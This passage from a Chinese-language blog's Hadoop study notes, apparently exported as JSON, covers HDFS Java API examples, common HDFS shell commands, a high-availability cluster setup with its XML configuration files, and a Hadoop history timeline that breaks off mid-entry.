<artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.testng</groupId> <artifactId>testng</artifactId> <version>RELEASE</version> </dependency></dependencies><build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.0</version> <configuration> <source>1.8</source> <target>1.8</target> <encoding>UTF-8</encoding> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>2.4.3</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> <configuration> <minimizeJar>true</minimizeJar> </configuration> </execution> </executions> </plugin> </plugins></build> 使用文件系统方式访问数据在 java 中操作 HDFS，主要涉及以下 Class：Configuration：该类的对象封转了客户端或者服务器的配置;FileSystem（抽象类）：该类的对象是一个文件系统对象，可以用该对象的一些方法来对文件进行操作，通过 FileSystem 的静态方法 get 获得该对象。 FileSystem fs = FileSystem.get(conf) get 方法从 conf 中的一个参数 fs.defaultFS 的配置值判断具体是什么类型的文件系统。如果我们的代码中没有指定 fs.defaultFS，并且工程 classpath 下也没有给定相应的配置，conf 中的默认值就来自于 hadoop 的 jar 包中的 coredefault.xml ， 默认值为: file:/// ， 则获取的将不是一个DistributedFileSystem 的实例，而是一个本地文件系统的客户端对象 获取 FileSystem 的几种方式第一种方式获取 FileSystem import org.apache.commons.io.IOUtils;import org.apache.hadoop.conf.Configuration;import org.apache.hadoop.fs.*;import org.testng.annotations.Test;import java.io.*;import java.net.URI;import java.net.URISyntaxException;public class HdfsOperateStudy { /** * 通过 fileSystem 获取分布式文件系统的几种方式 */ //获取 hdfs 分布式文件系统的第一种方式 @Test public void getFileSystem1() throws IOException { //如果 configuration 不做任何配置，获取到的是本地文件系统 Configuration configuration = new Configuration(); //覆盖我们的 hdfs 的配置，得到我们的分布式文件系统 configuration.set(\"fs.defaultFS\",\"hdfs://node01:8020/\"); FileSystem fileSystem = FileSystem.get(configuration); System.out.println(fileSystem.toString()); }} 第二种方式获取 FileSystem /*** 获取 hdfs 分布式文件系统的第二种方式*/@Testpublic void getHdfs2() throws URISyntaxException, IOException { //使用两个参数来获取 hdfs 文件系统 //第一个参数是一个 URI，定义了我们使用 hdfs://这种方式来访问，就是分布式文件系统 FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); System.out.println(fileSystem.toString());} 第三种方式获取 FileSystem /*** 获取 hdfs 分布式文件系统的第三种方式*/@Testpublic void getHdfs3() throws IOException { Configuration configuration = new Configuration(); configuration.set(\"fs.defaultFS\",\"hdfs://node01:8020\"); FileSystem fileSystem = FileSystem.newInstance(configuration); System.out.println(fileSystem.toString());} 第四种方式获取 FileSystem /*** 获取 hdfs 分布式文件系统的第四种方式*/@Testpublic void getHdfs4() throws Exception { //使用两个参数来获取 hdfs 文件系统 //第一个参数是一个 URI，定义了我们使用 hdfs://这种方式来访问， 就是分布式文件系统 FileSystem fileSystem = FileSystem.newInstance(new URI(\"hdfs://node01:8020\"), new Configuration()); System.out.println(fileSystem.toString());} hdfs 上面创建文件夹/*** hdfs 上面创建文件夹*/@Testpublic void createHdfsDir() throws Exception{ //获取分布式文件系统的客户端对象 FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); fileSystem.mkdirs(new Path(\"/abc/bbc/ddd\")); fileSystem.close();} hdfs 的文件上传/*** hdfs 的文件上传*/@Testpublic void uploadFileToHdfs() throws Exception{ //获取分布式文件系统的客户端 FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); //通过 copyFromLocalFile 将我们的本地文件上传到 hdfs 上面去 fileSystem.copyFromLocalFile(false,new Path(\"file:///f:\\\\平凡的世界.txt\"),new Path(\"/abc/bbc/ddd\")); fileSystem.close();} 遍历 hdfs 上面所有的文件//遍历 hdfs 上面所有的文件@Testpublic void listHdfsFiles() throws Exception{ FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); Path path = new Path(\"/\"); //alt + shift + l 提取变量 RemoteIterator<LocatedFileStatus> locatedFileStatusRemoteIterator = fileSystem.listFiles(path, true); //遍历迭代器，获取我们的迭代器里面每一个元素 while (locatedFileStatusRemoteIterator.hasNext()){ LocatedFileStatus next = locatedFileStatusRemoteIterator.next(); Path path1 = next.getPath(); System.out.println(path1.toString()); } fileSystem.close();}"},{"title":"","date":"2019-09-19T08:36:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/hdfs-shell.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs-shell","excerpt":"","text":"HDFS 命令行 大数据处理技术 - HDFS 的命令行使用 hdfs 常用的操作命令查看根路径下面的文件或者文件夹 hdfs dfs -ls / 查看 test 路径下面的文件或者文件夹 hdfs dfs -ls /test 递归的查看根路径下面的文件或者文件夹 hdfs dfs -ls -R / 在 hdfs 上面递归的创建文件夹 hdfs dfs -mkdir -p /aaa/bbb hdfs dfs -moveFromLocal sourceDir (本地磁盘的文件或者文件夹的路径) destDir（hdfs 的路径） hdfs dfs -moveFromLocal /root/install.log / hdfs dfs -mv hdfsSourceDir hdfsDestDir hdfs dfs -mv /install.log /aaa hdfs dfs -put localDir hdfsDir 将本地文件系统的文件或者文件夹放到 hdfs 上面去 hdfs dfs -put /root/install.log.syslog /aaa hdfs dfs -cat hdfsDir 查看 hdfs 的文件内容 hdfs dfs -cat /aaa/install.log hdfs dfs -cp hdfsSourceDIr hdfsDestDir 拷贝文件或者文件夹 hdfs dfs -cp /aaa/install.log /aaa/in2.loghdfs dfs -ls /aaa hdfs dfs -rmr （递归）删除文件或者文件夹 hdfs dfs -rmr /aaa/in2.log hdfs 的权限管理命令： hdfs dfs -chmod -R 777 /xxx hdfs 的安全模式安全模式是 HDFS 所处的一种特殊状态, 在这种状态下，文件系统只接受读数据请求，而不接受删除、修改等变更请求。 在 NameNode 主节点启动时，HDFS 首先进入安全模式，DataNode 在启动的时候会向 namenode 汇报可用的 block 等状态，当整个系统达到安全标准时，HDFS 自动离开安全模式。 如果 HDFS 出于安全模式下，则文件 block 不能进行任何的副本复制操作，因此达到最小的副本数量要求是基于 datanode 启动时的状态来判定的，启动时不会再做任何复制（从而达到最小副本数量要求），hdfs 集群刚启动的时候，默认 30S 钟的时间是出于安全期的，只有过了 30S 之后，集群脱离了安全期，然后才可以对集群进行操作. hdfs dfsadmin -safemode"},{"title":"","date":"2019-09-19T08:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/hdfs.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs","excerpt":"","text":"HDFS 大数据处理技术 - HDFS 入门介绍 HDFS 介绍HDFS 是 Hadoop Distribute File System 的简称，意为：Hadoop 分布式文件系统。是 Hadoop 核心组件之一，作为最底层的分布式存储服务而存在。分布式文件系统解决的问题就是大数据存储。它们是横跨在多台计算机上的存储系统。分布式文件系统在大数据时代有着广泛的应用前景，它们为存储和处理超大规模数据提供所需的扩展能力。 HDFS 的特性首先，它是一个文件系统，用于存储文件，通过统一的命名空间目录树来定位文件; 其次，它是分布式的，由很多服务器联合起来实现其功能，集群中的服务器有各自的角色。 master / slave 架构HDFS 采用 master/slave 架构。一般一个 HDFS 集群是有一个 Namenode 和一定数目的 Datanode 组成。Namenode 是 HDFS 集群主节点，Datanode 是 HDFS 集群从节点，两种角色各司其职，共同协调完成分布式的文件存储服务。 分块存储HDFS 中的文件在物理上是分块存储（block）的，块的大小可以通过配置参数来规定，默认大小在 hadoop2.x 版本中是 128M。 名字空间（NameSpace）HDFS 支持传统的层次型文件组织结构。用户或者应用程序可以创建目录，然后将文件保存在这些目录里。文件系统名字空间的层次结构和大多数现有的文件系统类似：用户可以创建、删除、移动或重命名文件。Namenode 负责维护文件系统的名字空间，任何对文件系统名字空间或属性的修改都将被 Namenode 记录下来。HDFS 会给客户端提供一个统一的抽象目录树，客户端通过路径来访问文件，形如： hdfs://namenode:port/dir-a/dir-b/dir-c/file.data。 Namenode 元数据管理我们把目录结构及文件分块位置信息叫做元数据。Namenode 负责维护整个 hdfs 文件系统的目录树结构，以及每一个文件所对应的 block 块信息（block 的id，及所在的 datanode 服务器）。 元数据信息：描述数据的数据第一个问题：如果有一堆书，如何快速查找到我需要的时平凡的世界 书本的分类，书本的编号，书本所在的书架，书本的位置，如果记录了这些信息，就可以快速找到对应的书本这些信息，描述了我们需要的书本在哪里，确定了这些描述信息，就可以唯一定位到这本书如何区分关羽与王熙凤：性别，外观样貌信息（丹凤眼） 长头发，短头发，都是通过一些描述信息，来区分每一个人的如何设计一个文件系统：第一个：盘符第二个：文件名第三个：文件的类型第四个：文件大小第五个：创建时间修改时间第六个：所属权限第七个：文件的路径这些数据都是用于描述一个文件或者文件夹，只要有了这些描述信息，那么我们就能定位到一个唯一的文件或者文件夹这些都是一些描述数据，叫做我们的元数据信息元数据信息：文件名称，文件路径，文件的大小，文件的权限每一个文件或者每一个文件夹都会产生一份元数据信息只要抓住了元数据信息，就抓住了磁盘上面存储的所有的文件或者文件夹 Datanode 数据存储文件的各个 block 的具体存储管理由 datanode 节点承担。每一个 block 都可以在多个 datanode 上。Datanode 需要定时向 Namenode 汇报自己持有的 block 信息。 存储多个副本（副本数量也可以通过参数设置 dfs.replication，默认是 3）。 副本机制为了容错，文件的所有 block 都会有副本。每个文件的 block 大小和副本系数都是可配置的。应用程序可以指定某个文件的副本数目。副本系数可以在文件创建的时候指定，也可以在之后改变。 一次写入，多次读出HDFS 是设计成适应一次写入，多次读出的场景，且不支持文件的修改。正因为如此，HDFS 适合用来做大数据分析的底层存储服务，并不适合用来做网盘等应用，因为，修改不方便，延迟大，网络开销大，成本太高。 分布式文件系统详细介绍在 hadoop 当中，分布式文件系统 HDFS，对文件系统有一个抽象，HDFS属于当中的一个实现类，也就是说分布式文件系统类似于一个接口，定义了标准，下面有很多的实现类其中 HDFS 是一个子实现类而已，但是现在很多人都只知道一种就是 HDFS 的实现，并没有了解过其他的实现类其实分布式文件系统的实现有很多种，具体详细参见《hadoop 权威指南第三版》第 59 页 我们重点突出讲解 HDFS 这种文件系统 HDFS 分布式文件系统设计目标 1、 硬件错误 由于集群很多时候由数量众多的廉价机组成，使得硬件错误成为常态（磁盘损坏 屌丝机） 2、 数据流访问 所有应用以流的方式访问数据，设置之初便是为了用于批量的处理数据，而不是低延时的实时交互处理 3、 大数据集 典型的 HDFS 集群上面的一个文件是以 G 或者 T 数量级的，支持一个集群当中的文件数量达到千万数量级 4、 简单的相关模型 假定文件是一次写入，多次读取的操作（假设 不会频繁写） 5、 移动计算比移动数据便宜 一个应用请求的计算，离它操作的数据越近，就越高效（代码到数据） 6、 多种软硬件的可移植性 HDFS 的来源HDFS 起源于 Google 的 GFS 论文（GFS，Mapreduce，BigTable 为 google 的旧的三驾马车）发表于 2003 年 10 月HDFS 是 GFS 的克隆版 Hadoop Distributed File system易于扩展的分布式文件系统, 运行在大量普通廉价机器上，提供容错机制为大量用户提供性能不错的文件存取服务."},{"title":"","date":"2019-09-19T08:32:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/high-availability.html","permalink":"https://blog.mhuig.top/notes/Hadoop/high-availability","excerpt":"","text":"高可用分布式 大数据处理技术 - apache hadoop 三种架构介绍 (高可用分布式环境介绍以及安装) 高可用分布式环境搭建（适用于工作当中正式环境搭建） 实现 namenode 高可用，ResourceManager 的高可用 集群运行服务规划 服务器 IP 192.168.52.100 192.168.52.110 192.168.52.120 zookeeper zk zk zk HDFS JournalNode JournalNode JournalNode NameNode NameNode ZKFC ZKFC DataNode DataNode DataNode YARN ResourceManager ResourceManager NodeManager NodeManager NodeManager MapReduce JobHistoryServer 安装包解压停止之前的 hadoop 集群的所有服务，并删除所有机器的 hadoop 安装包，第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5sbin/stop-dfs.shsbin/stop-yarn.shsbin/mr-jobhistory-daemon.sh stop historyserver cd /export/servers/rm -rf hadoop-2.7.5/ 然后重新解压 hadoop 压缩包解压压缩包第一台机器执行以下命令进行解压 cd /export/softwarestar -zxvf hadoop-2.7.5.tar.gz -C ../servers/ 配置文件的修改修改 core-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim core-site.xml core-site.xml<configuration> <!-- 指定 NameNode 的 HA 高可用的 zk 地址 --> <property> <name>ha.zookeeper.quorum</name> <value>node01:2181,node02:2181,node03:2181</value> </property> <!-- 指定 HDFS 访问的域名地址 --> <property> <name>fs.defaultFS</name> <value>hdfs://ns</value> </property> <!-- 临时文件存储目录 --> <property> <name>hadoop.tmp.dir</name> <value>/export/servers/hadoop-2.7.5/data/tmp</value> </property> <!-- 开启 hdfs 垃圾箱机制，指定垃圾箱中的文件七天之后就彻底删掉单位为分钟--> <property> <name>fs.trash.interval</name> <value>10080</value> </property></configuration> 修改 hdfs-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hdfs-site.xml hdfs-site.xml<configuration> <!-- 指定命名空间 --> <property> <name>dfs.nameservices</name> <value>ns</value> </property> <!-- 指定该命名空间下的两个机器作为我们的 NameNode --> <property> <name>dfs.ha.namenodes.ns</name> <value>nn1,nn2</value> </property> <!-- 配置第一台服务器的 namenode 通信地址 --> <property> <name>dfs.namenode.rpc-address.ns.nn1</name> <value>node01:8020</value> </property> <!-- 配置第二台服务器的 namenode 通信地址 --> <property> <name>dfs.namenode.rpc-address.ns.nn2</name> <value>node02:8020</value> </property> <!-- 所有从节点之间相互通信端口地址 --> <property> <name>dfs.namenode.servicerpc-address.ns.nn1</name> <value>node01:8022</value> </property> <!-- 所有从节点之间相互通信端口地址 --> <property> <name>dfs.namenode.servicerpc-address.ns.nn2</name> <value>node02:8022</value> </property> <!-- 第一台服务器 namenode 的 web 访问地址 --> <property> <name>dfs.namenode.http-address.ns.nn1</name> <value>node01:50070</value> </property> <!-- 第二台服务器 namenode 的 web 访问地址 --> <property> <name>dfs.namenode.http-address.ns.nn2</name> <value>node02:50070</value> </property> <!-- journalNode 的访问地址，注意这个地址一定要配置 --> <property> <name>dfs.namenode.shared.edits.dir</name> <value>qjournal://node01:8485;node02:8485;node03:8485/ns1</value> </property> <!-- 指定故障自动恢复使用的哪个 java 类 --> <property> <name>dfs.client.failover.proxy.provider.ns</name> <value>org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider</value> </property> <!-- 故障转移使用的哪种通信机制 --> <property> <name>dfs.ha.fencing.methods</name> <value>sshfence</value> </property> <!-- 指定通信使用的公钥 --> <property> <name>dfs.ha.fencing.ssh.private-key-files</name> <value>/root/.ssh/id_rsa</value> </property> <!-- journalNode 数据存放地址 --> <property> <name>dfs.journalnode.edits.dir</name> <value>/export/servers/hadoop-2.7.5/data/dfs/jn</value> </property> <!-- 启用自动故障恢复功能 --> <property> <name>dfs.ha.automatic-failover.enabled</name> <value>true</value> </property> <!-- namenode 产生的文件存放路径 --> <property> <name>dfs.namenode.name.dir</name> <value>file:///export/servers/hadoop-2.7.5/data/dfs/nn/name</value> </property> <!-- edits 产生的文件存放路径 --> <property> <name>dfs.namenode.edits.dir</name> <value>file:///export/servers/hadoop-2.7.5/data/dfs/nn/edits</value> </property> <!-- dataNode 文件存放路径 --> <property> <name>dfs.datanode.data.dir</name> <value>file:///export/servers/hadoop-2.7.5/data/dfs/dn</value> </property> <!-- 关闭 hdfs 的文件权限 --> <property> <name>dfs.permissions</name> <value>false</value> </property> <!-- 指定 block 文件块的大小 --> <property> <name>dfs.blocksize</name> <value>134217728</value> </property></configuration> 修改 yarn-site.xml注意 node03 与 node02 配置不同 第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim yarn-site.xml yarn-site.xml<configuration> <!-- Site specific YARN configuration properties --> <!-- 是否启用日志聚合.应用程序完成后,日志汇总收集每个容器的日志,这些日志移动到文件系统,例如 HDFS. --> <!-- 用 户 可 以 通 过 配 置 \"yarn.nodemanager.remote-app-log-dir\" 、\"yarn.nodemanager.remote-app-log-dir-suffix\"来确定日志移动到的位置 --> <!-- 用户可以通过应用程序时间服务器访问日志 --> <!-- 启用日志聚合功能，应用程序完成后，收集各个节点的日志到一起便于查看 --> <property> <name>yarn.log-aggregation-enable</name> <value>true</value> </property> <!--开启 resource manager HA,默认为 false--> <property> <name>yarn.resourcemanager.ha.enabled</name> <value>true</value> </property> <!-- 集群的 Id，使用该值确保 RM 不会做为其它集群的 active --> <property> <name>yarn.resourcemanager.cluster-id</name> <value>mycluster</value> </property> <!--配置 resource manager 命名--> <property> <name>yarn.resourcemanager.ha.rm-ids</name> <value>rm1,rm2</value> </property> <!-- 配置第一台机器的 resourceManager --> <property> <name>yarn.resourcemanager.hostname.rm1</name> <value>node03</value> </property> <!-- 配置第二台机器的 resourceManager --> <property> <name>yarn.resourcemanager.hostname.rm2</name> <value>node02</value> </property> <!-- 配置第一台机器的 resourceManager 通信地址 --> <property> <name>yarn.resourcemanager.address.rm1</name> <value>node03:8032</value> </property> <property> <name>yarn.resourcemanager.scheduler.address.rm1</name> <value>node03:8030</value> </property> <property> <name>yarn.resourcemanager.resourcetracker.address.rm1</name> <value>node03:8031</value> </property> <property> <name>yarn.resourcemanager.admin.address.rm1</name> <value>node03:8033</value> </property> <property> <name>yarn.resourcemanager.webapp.address.rm1</name> <value>node03:8088</value> </property> <!-- 配置第二台机器的 resourceManager 通信地址 --> <property> <name>yarn.resourcemanager.address.rm2</name> <value>node02:8032</value> </property> <property> <name>yarn.resourcemanager.scheduler.address.rm2</name> <value>node02:8030</value> </property> <property> <name>yarn.resourcemanager.resourcetracker.address.rm2</name> <value>node02:8031</value> </property> <property> <name>yarn.resourcemanager.admin.address.rm2</name> <value>node02:8033</value> </property> <property> <name>yarn.resourcemanager.webapp.address.rm2</name> <value>node02:8088</value> </property> <!--开启 resourcemanager 自动恢复功能--> <property> <name>yarn.resourcemanager.recovery.enabled</name> <value>true</value> </property> <!--在 node1 上配置 rm1,在 node2 上配置 rm2,注意：一般都喜欢把配置好的文件远程复制到其它机器上，但这个在 YARN 的另一个机器上一定要修改，其他机器上不配置此项--> <property> <name>yarn.resourcemanager.ha.id</name> <value>rm1</value> <description>If we want to launch more than one RM in single node,we need this configuration</description> </property> <!--用于持久存储的类。尝试开启--> <property> <name>yarn.resourcemanager.store.class</name> <value>org.apache.hadoop.yarn.server.resourcemanager.recovery.ZKRMStateStore</value> </property> <property> <name>yarn.resourcemanager.zk-address</name> <value>node01:2181,node02:2181,node03:2181</value> <description>For multiple zk services, separate them with comma</description> </property> <!--开启 resourcemanager 故障自动切换，指定机器--> <property> <name>yarn.resourcemanager.ha.automaticfailover.enabled</name> <value>true</value> <description>Enable automatic failover; By default, it is enabled only when HA is enabled.</description> </property> <property> <name>yarn.client.failover-proxy-provider</name> <value>org.apache.hadoop.yarn.client.ConfiguredRMFailoverProxyProvider</value> </property> <!-- 允许分配给一个任务最大的 CPU 核数，默认是 8 --> <property> <name>yarn.nodemanager.resource.cpu-vcores</name> <value>4</value> </property> <!-- 每个节点可用内存,单位 MB --> <property> <name>yarn.nodemanager.resource.memory-mb</name> <value>512</value> </property> <!-- 单个任务可申请最少内存，默认 1024MB --> <property> <name>yarn.scheduler.minimum-allocation-mb</name> <value>512</value> </property> <!-- 单个任务可申请最大内存，默认 8192MB --> <property> <name>yarn.scheduler.maximum-allocation-mb</name> <value>512</value> </property> <!--多长时间聚合删除一次日志 此处--> <property> <name>yarn.log-aggregation.retain-seconds</name> <value>2592000</value><!--30 day--> </property> <!--时间在几秒钟内保留用户日志。只适用于如果日志聚合是禁用的--> <property> <name>yarn.nodemanager.log.retain-seconds</name> <value>604800</value><!--7 day--> </property> <!--指定文件压缩类型用于压缩汇总日志--> <property> <name>yarn.nodemanager.log-aggregation.compressiontype</name> <value>gz</value> </property> <!-- nodemanager 本地文件存储目录--> <property> <name>yarn.nodemanager.local-dirs</name> <value>/export/servers/hadoop-2.7.5/yarn/local</value> </property> <!-- resourceManager 保存最大的任务完成个数 --> <property> <name>yarn.resourcemanager.max-completed-applications</name> <value>1000</value> </property> <!-- 逗号隔开的服务列表，列表名称应该只包含 a-zA-Z0-9_,不能以数字开 始--> <property> <name>yarn.nodemanager.aux-services</name> <value>mapreduce_shuffle</value> </property> <!--rm 失联后重新链接的时间--> <property> <name>yarn.resourcemanager.connect.retry-interval.ms</name> <value>2000</value> </property></configuration> 修改 mapred-site.xmlcd /export/servers/hadoop-2.7.5/etc/hadoopvim mapred-site.xml mapred-site.xml<configuration> <!--指定运行 mapreduce 的环境是 yarn --> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <!-- MapReduce JobHistory Server IPC host:port --> <property> <name>mapreduce.jobhistory.address</name> <value>node03:10020</value> </property> <!-- MapReduce JobHistory Server Web UI host:port --> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>node03:19888</value> </property> <!-- The directory where MapReduce stores control files. 默 认 ${hadoop.tmp.dir}/mapred/system --> <property> <name>mapreduce.jobtracker.system.dir</name> <value>/export/servers/hadoop2.7.5/data/system/jobtracker</value> </property> <!-- The amount of memory to request from the scheduler for each map task. 默认 1024--> <property> <name>mapreduce.map.memory.mb</name> <value>1024</value> </property> <!-- <property> <name>mapreduce.map.java.opts</name> <value>-Xmx1024m</value> </property> --> <!-- The amount of memory to request from the scheduler for each reduce task. 默认 1024--> <property> <name>mapreduce.reduce.memory.mb</name> <value>1024</value> </property> <!-- <property> <name>mapreduce.reduce.java.opts</name> <value>-Xmx2048m</value> </property> --> <!-- 用于存储文件的缓存内存的总数量，以兆字节为单位。默认情况下， 分配给每个合并流 1MB，给个合并流应该寻求最小化。默认值 100--> <property> <name>mapreduce.task.io.sort.mb</name> <value>100</value> </property> <!-- <property> <name>mapreduce.jobtracker.handler.count</name> <value>25</value> </property>--> <!-- 整理文件时用于合并的流的数量。这决定了打开的文件句柄的数量。 默认值 10--> <property> <name>mapreduce.task.io.sort.factor</name> <value>10</value> </property> <!-- 默认的并行传输量由 reduce 在 copy(shuffle)阶段。默认值 5--> <property> <name>mapreduce.reduce.shuffle.parallelcopies</name> <value>25</value> </property> <property> <name>yarn.app.mapreduce.am.command-opts</name> <value>-Xmx1024m</value> </property> <!-- MR AppMaster 所需的内存总量。默认值 1536--> <property> <name>yarn.app.mapreduce.am.resource.mb</name> <value>1536</value> </property> <!-- MapReduce 存储中间数据文件的本地目录。目录不存在则被忽略。默 认值${hadoop.tmp.dir}/mapred/local--> <property> <name>mapreduce.cluster.local.dir</name> <value>/export/servers/hadoop-2.7.5/data/system/local</value> </property></configuration> 修改 slaves第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim slaves slavesnode01node02node03 修改 hadoop-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hadoop-env.sh hadoop-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 集群启动过程将第一台机器的安装包发送到其他机器上第一台机器执行以下命令 cd /export/serversscp -r hadoop-2.7.5/ node02:$PWDscp -r hadoop-2.7.5/ node03:$PWD 三台机器上共同创建目录三台机器执行以下命令 mkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/namemkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/editsmkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/namemkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/edits 更改 node02 的 rm2第二台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim yarn-site.xml yarn-site.xml<!--在 node3 上配置 rm1,在 node2 上配置 rm2,注意：一般都喜欢把配置好的文件远程复制到其它机器上，但这个在 YARN 的另一个机器上一定要修改，其他机器上不配置此项注意我们现在有两个 resourceManager 第三台是 rm1 第二台是 rm2这个配置一定要记得去 node02 上面改好--><property> <name>yarn.resourcemanager.ha.id</name> <value>rm2</value> <description>If we want to launch more than one RM in single node, we need this configuration</description></property> 启动 HDFS 过程node01 机器执行以下命令 cd /export/servers/hadoop-2.7.5bin/hdfs zkfc -formatZKsbin/hadoop-daemons.sh start journalnodebin/hdfs namenode -formatbin/hdfs namenode -initializeSharedEdits -forcesbin/start-dfs.sh jps node02 上面执行 cd /export/servers/hadoop-2.7.5bin/hdfs namenode -bootstrapStandbysbin/hadoop-daemon.sh start namenode 启动 yarn 过程node03 上面执行 cd /export/servers/hadoop-2.7.5sbin/start-yarn.sh node02 上执行 cd /export/servers/hadoop-2.7.5sbin/start-yarn.sh 查看 resourceManager 状态node03 上面执行 cd /export/servers/hadoop-2.7.5bin/yarn rmadmin -getServiceState rm1 node02 上面执行 cd /export/servers/hadoop-2.7.5bin/yarn rmadmin -getServiceState rm2 启动 jobHistorynode03 机器执行以下命令启动 jobHistory cd /export/servers/hadoop-2.7.5sbin/mr-jobhistory-daemon.sh start historyserver hdfs 状态查看node01 机器查看 hdfs 状态http://192.168.52.100:50070/dfshealth.html#tab-overview node02 机器查看 hdfs 状态http://192.168.52.110:50070/dfshealth.html#tab-overview yarn 集群访问查看http://192.168.52.120:8088/cluster 历史任务浏览界面页面访问：http://192.168.52.120:19888/jobhistory"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/history.html","permalink":"https://blog.mhuig.top/notes/Hadoop/history","excerpt":"","text":"发展历史 大数据处理技术 - hadoop 的介绍以及发展历史 Hadoop 是什么?Hadoop: The Definitive Guide 谁说大象不能跳舞？！ —— 挑战互联网规模的数据存储与分析！ Hadoop：适合大数据的分布式存储和计算平台. Hadoop 不是指具体一个框架或者组件，它是 Apache 软件基金会下用 Java 语言开发的一个开源分布式计算平台。实现在大量计算机组成的集群中对海量数据进行分布式计算。适合大数据的分布式存储和计算平台。 Hadoop1.x 中包括两个核心组件：MapReduce 和 Hadoop Distributed File System (HDFS). 其中 HDFS 负责将海量数据进行分布式存储，而 MapReduce 负责提供对数据的计算结果的汇总. Hadoop 的起源Hadoop 最早起源于 Nutch。 Nutch 的设计目标是构建一个大型的全网搜索引擎，包括网页抓取、索引、查询等功能，但随着抓取网页数量的增加，遇到了严重的可扩展性问题 —— 如何解决数十亿网页的存储和索引问题。 2003 年、2004 年谷歌发表的两篇论文为该问题提供了可行的解决方案。 分布式文件系统 GFS，可用于处理海量网页的存储 分布式计算框架 MAPREDUCE，可用于处理海量网页的索引计算问题。 Nutch 的开发人员完成了相应的开源实现 HDFS 和 MAPREDUCE，并从 Nutch 中剥离成为独立项目 HADOOP，到 2008 年 1 月，HADOOP 成为 Apache 顶级项目 (同年，cloudera 公司成立)，迎来了它的快速发展期。狭义上来说，hadoop 就是单独指代 hadoop 这个软件，广义上来说，hadoop 指代大数据的一个生态圈，包括很多其他的软件. 2003-2004 年，Google 公布了部分 GFS 和 MapReduce 思想的细节，受此启发的 Doug Cutting 等人用 2 年的业余时间实现了 DFS 和 MapReduce 机制，使 Nutch 性能飙升，然后 Yahoo 招安 Doug Gutting 及其项目。 2005 年，Hadoop 作为 Lucene 的子项目 Nutch 的一部分正式引入 Apache 基金会。 2006 年 2 月被分离出来，成为一套完整独立的软件，起名为 Hadoop Hadoop 名字不是一个编写，而是一个生造出来的词。是 Hadoop 之父 Doug Cutting 儿子毛线玩具象命名的。 Hadoop 的成长过程 Lucene -> Nutch -> Hadoop 总结起来，Hadoop 起源于 Google 的三大论文 GFS：Google 的分布式文件系统 Google File System MapReduce：Google 的 MapReduce 开源分布式并行计算框架 BigTable：一个大型的分布式数据库 演变关系 GFS -> HDFSGoogle MapReduce —> Hadoop MapReduceBig Table —> HBase Hadoop 发展史2004 年 —— 最初的版本（现在称为 HDFS 和 MapReduce) 由 Doug Cutting 和 Mike Cafarella 开始实施。2005 年 12 月 —— Nutch 移植到新的框架，Hadoop 在 20 个节点上稳定运行。2006 年 1 月 —— Doug Cutting 加入雅虎。2006 年 2 月 —— Apache Hadoop 项目正式启动以支持 MapReduce 和 HDFS 的独立发展。2006 年 2 月 —— 雅虎的网格计算团队采用 Hadoop。2006 年 4 月 —— 标准排序（10GB 每个节点）在 188 个节点上运行 47.9 个小时。2006 年 5 月 —— 雅虎建立了一个 300 个节点的 Hadoop 研究集群。2006 年 5 月 —— 标准排序在 500 个节点上运行 42 个小时（硬件配置比 4 月的更好）。2006 年 11 月 —— 研究集群增加到 600 个节点。2006 年 12 月 —— 标准排序在 20 个节点上运行 1.8 个小时，100 个节点 3.3 小时，500 个节点 5.2 小时，900 个节点 7.8 个小时。2007 年 1 月 —— 研究集群到达 900 个节点。2007 年 4 月 —— 研究集群达到两个 1000 个节点的集群。2008 年 4 月 —— 赢得世界最快 1TB 数据排序在 900 个节点上用时 209 秒。2008 年 7 月 —— 雅虎测试节点增加到 4000 个2008 年 9 月 —— Hive 成为 Hadoop 的子项目2008 年 11 月 —— Google 宣布其 MapReduce 用 68 秒对 1TB 的程序进行排序2008 年 10 月 —— 研究集群每天装载 10TB 的数据。2008 年 —— 淘宝开始投入研究基于 Hadoop 的系统 - 云梯。云梯总容量约 9.3PB，共有 1100 台机器，每天处理 18000 道作业，扫描 500TB 数据。2009 年 3 月 —— 17 个集群总共 24000 台机器。2009 年 3 月 —— Cloudera 推出 CDH (Cloudera's Dsitribution Including Apache Hadoop)2009 年 4 月 —— 赢得每分钟排序，雅虎 59 秒内排序 500GB（在 1400 个节点上）和 173 分钟内排序 100TB 数据（在 3400 个节点上）。2009 年 5 月 —— Yahoo 的团队使用 Hadoop 对 1 TB 的数据进行排序只花了 62 秒时间。2009 年 7 月 —— Hadoop Core 项目更名为 Hadoop Common;2009 年 7 月 —— 